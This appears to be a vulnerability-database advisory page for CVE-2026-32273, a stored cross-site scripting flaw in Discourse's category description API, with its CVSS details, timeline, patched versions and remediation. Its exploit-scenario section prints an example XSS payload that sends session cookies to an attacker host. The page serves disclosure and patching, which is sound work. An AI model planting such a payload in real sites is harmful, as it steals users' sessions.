What is the CVSS score of CVE-2026-32273?

CVE-2026-32273 has a CVSS 3.1 base score of 5.4 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. EPSS exploitation probability: 0.0%.

Is there a patch available for CVE-2026-32273?

Yes, a patch is available for CVE-2026-32273. Update the affected software to the latest version immediately.

Discourse CVE-2026-32273

EUVD-2026-17550 MEDIUM

Cross-site Scripting (XSS) (CWE-79)

2026-03-31 GitHub_M

XSS Discourse

5.4

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

5.4 MEDIUM

AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

Required

Scope

Changed

Confidentiality

Low

Integrity

Low

Availability

None

Lifecycle Timeline

Patch available

Apr 16, 2026 - 05:29 EUVD

2026.1.3,2026.3.0,2026.2.2

EUVD ID Assigned

Mar 31, 2026 - 18:16 euvd

EUVD-2026-17550

Analysis Generated

Mar 31, 2026 - 18:16 vuln.today

CVE Published

Mar 31, 2026 - 17:39 nvd

MEDIUM 5.4

DescriptionGitHub Advisory

Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, updating a category description via API is not sanitizing the description string, which can lead to XSS attacks. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0.

AnalysisAI

Stored cross-site scripting (XSS) in Discourse category description API endpoints allows authenticated users with category management privileges to inject malicious scripts that execute in the browsers of other users viewing the category. The vulnerability affects Discourse versions 2026.1.0 through 2026.1.2, 2026.2.0 through 2026.2.1, and 2026.3.0-pre-release due to missing input sanitization on category description updates. …

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Vulnerability AssessmentAI

Risk Assessment	The CVSS v3.1 score of 5.4 with vector AV:N/AC:L/PR:L/UI:R/S:C reflects a network-accessible vulnerability requiring low attack complexity and user interaction on a browser. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	A malicious user with category moderator or administrator privileges submits a category description update via the Discourse API containing an injected JavaScript payload such as `<img src=x onerror="fetch('http://attacker.com/steal?cookies='+document.cookie)">`. The unsanitized payload is stored in the database and rendered when other users visit the category page, causing their browsers to execute the injected script and exfiltrate session cookies or perform actions on their behalf. …
Remediation	Upgrade to patched versions immediately: Discourse 2026.1.3 or later for the 2026.1 branch, 2026.2.2 or later for the 2026.2 branch, or 2026.3.0 or later for the 2026.3 branch. … Detailed patch versions, workarounds, and compensating controls in full report.

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CVE-2026-32273 vulnerability details – vuln.today

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